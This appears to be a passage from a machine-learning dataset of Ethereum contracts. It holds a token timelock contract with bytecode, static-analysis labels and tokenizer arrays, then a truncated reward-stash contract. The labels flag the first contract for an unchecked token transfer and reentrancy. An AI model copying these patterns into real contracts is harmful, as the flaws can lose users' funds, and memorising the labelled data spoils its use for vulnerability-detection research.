[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,608
0x97102650db3d7ca2a1dd208c591f95ef57791308
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29289600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x6d8D6608B20de947cfcF01070AD72d07081Af49F ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058205bab72c89544ffd3500d6a608f02f3c5481cc66ad06340a14632f4e228ae53ef0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 10790, 23833, 12376, 18939, 29097, 2581, 3540, 2475, 27717, 14141, 11387, 2620, 2278, 28154, 2487, 2546, 2683, 2629, 12879, 28311, 2581, 2683, 17134, 2692, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,609
0x9710fd4e5ca524f1049ebed8936c07c81b5eab9f
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Standard math utilities missing in the Solidity language. */ library MathUtil { /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } interface ICurveGauge { function deposit(uint256) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; function claim_rewards() external; function reward_tokens(uint256) external view returns(address);//v2 function rewarded_token() external view returns(address);//v1 } interface ICurveVoteEscrow { function create_lock(uint256, uint256) external; function increase_amount(uint256) external; function increase_unlock_time(uint256) external; function withdraw() external; function smart_wallet_checker() external view returns (address); } interface IWalletChecker { function check(address) external view returns (bool); } interface IVoting{ function vote(uint256, bool, bool) external; //voteId, support, executeIfDecided function getVote(uint256) external view returns(bool,bool,uint64,uint64,uint64,uint64,uint256,uint256,uint256,bytes memory); function vote_for_gauge_weights(address,uint256) external; } interface IMinter{ function mint(address) external; } interface IRegistry{ function get_registry() external view returns(address); function get_address(uint256 _id) external view returns(address); function gauge_controller() external view returns(address); function get_lp_token(address) external view returns(address); function get_gauges(address) external view returns(address[10] memory,uint128[10] memory); } interface IStaker{ function deposit(address, address) external; function withdraw(address) external; function withdraw(address, address, uint256) external; function withdrawAll(address, address) external; function createLock(uint256, uint256) external; function increaseAmount(uint256) external; function increaseTime(uint256) external; function release() external; function claimCrv(address) external returns (uint256); function claimRewards(address) external; function claimFees(address,address) external; function setStashAccess(address, bool) external; function vote(uint256,address,bool) external; function voteGaugeWeight(address,uint256) external; function balanceOfPool(address) external view returns (uint256); function operator() external view returns (address); function execute(address _to, uint256 _value, bytes calldata _data) external returns (bool, bytes memory); } interface IRewards{ function stake(address, uint256) external; function stakeFor(address, uint256) external; function withdraw(address, uint256) external; function exit(address) external; function getReward(address) external; function queueNewRewards(uint256) external; function notifyRewardAmount(uint256) external; function addExtraReward(address) external; function stakingToken() external returns (address); } interface IStash{ function stashRewards() external returns (bool); function processStash() external returns (bool); function claimRewards() external returns (bool); } interface IFeeDistro{ function claim() external; function token() external view returns(address); } interface ITokenMinter{ function mint(address,uint256) external; function burn(address,uint256) external; } interface IDeposit{ function isShutdown() external view returns(bool); function balanceOf(address _account) external view returns(uint256); function totalSupply() external view returns(uint256); function poolInfo(uint256) external view returns(address,address,address,address,address, bool); function rewardClaimed(uint256,address,uint256) external; function withdrawTo(uint256,uint256,address) external; function claimRewards(uint256,address) external returns(bool); function rewardArbitrator() external returns(address); } interface ICrvDeposit{ function deposit(uint256, bool) external; function lockIncentive() external view returns(uint256); } interface IRewardFactory{ function setAccess(address,bool) external; function CreateCrvRewards(uint256,address) external returns(address); function CreateTokenRewards(address,address,address) external returns(address); function activeRewardCount(address) external view returns(uint256); function addActiveReward(address,uint256) external returns(bool); function removeActiveReward(address,uint256) external returns(bool); } interface IStashFactory{ function CreateStash(uint256,address,address,uint256) external returns(address); } interface ITokenFactory{ function CreateDepositToken(address) external returns(address); } interface IPools{ function addPool(address _lptoken, address _gauge, uint256 _stashVersion) external returns(bool); function shutdownPool(uint256 _pid) external returns(bool); function poolInfo(uint256) external view returns(address,address,address,address,address,bool); function poolLength() external view returns (uint256); function gaugeMap(address) external view returns(bool); function setPoolManager(address _poolM) external; } interface IVestedEscrow{ function fund(address[] calldata _recipient, uint256[] calldata _amount) external returns(bool); } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\ExtraRewardStashV2.sol contract ExtraRewardStashV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); uint256 private constant maxRewards = 8; uint256 private constant WEEK = 7 * 86400; uint256 public immutable pid; address public immutable operator; address public immutable staker; address public immutable gauge; address public immutable rewardFactory; mapping(address => uint256) public historicalRewards; struct TokenInfo { address token; address rewardAddress; uint256 lastActiveTime; } uint256 public tokenCount; TokenInfo[maxRewards] public tokenInfo; constructor(uint256 _pid, address _operator, address _staker, address _gauge, address _rFactory) public { pid = _pid; operator = _operator; staker = _staker; gauge = _gauge; rewardFactory = _rFactory; } function getName() external pure returns (string memory) { return "ExtraRewardStashV2"; } //try claiming if there are reward tokens registered function claimRewards() external returns (bool) { require(msg.sender == operator, "!authorized"); //this is updateable in v2 gauges now so must check each time. checkForNewRewardTokens(); uint256 length = tokenCount; if(length > 0){ //get previous balances of all tokens uint256[] memory balances = new uint256[](length); for(uint256 i=0; i < length; i++){ balances[i] = IERC20(tokenInfo[i].token).balanceOf(staker); } //claim rewards on gauge for staker //booster will call for future proofing (cant assume anyone will always be able to call) IDeposit(operator).claimRewards(pid,gauge); for(uint256 i=0; i < length; i++){ address token = tokenInfo[i].token; uint256 newbalance = IERC20(token).balanceOf(staker); //stash if balance increased if(newbalance > balances[i]){ IStaker(staker).withdraw(token); tokenInfo[i].lastActiveTime = block.timestamp; //make sure this pool is in active list, IRewardFactory(rewardFactory).addActiveReward(token,pid); //check if other stashes are also active, and if so, send to arbitrator //do this here because processStash will have tokens from the arbitrator uint256 activeCount = IRewardFactory(rewardFactory).activeRewardCount(token); if(activeCount > 1){ //send to arbitrator address arb = IDeposit(operator).rewardArbitrator(); if(arb != address(0)){ IERC20(token).safeTransfer(arb, newbalance); } } }else{ //check if this reward has been inactive too long if(block.timestamp > tokenInfo[i].lastActiveTime + WEEK){ //set as inactive IRewardFactory(rewardFactory).removeActiveReward(token,pid); }else{ //edge case around reward ending periods if(newbalance > 0){ // - recently active pool // - rewards claimed to staker contract via a deposit/withdraw(or someone manually calling on the gauge) // - rewards ended before the deposit, thus deposit took the last available tokens // - thus claimRewards doesnt see any new rewards, but there are rewards on the staker contract // - i think its safe to assume claim will be called within the timeframe, or else these rewards // will be unretrievable until some pool starts rewards again //claim the tokens IStaker(staker).withdraw(token); uint256 activeCount = IRewardFactory(rewardFactory).activeRewardCount(token); if(activeCount > 1){ //send to arbitrator address arb = IDeposit(operator).rewardArbitrator(); if(arb != address(0)){ IERC20(token).safeTransfer(arb, newbalance); } } } } } } } return true; } //check if gauge rewards have changed function checkForNewRewardTokens() internal { for(uint256 i = 0; i < maxRewards; i++){ address token = ICurveGauge(gauge).reward_tokens(i); if (token == address(0)) { 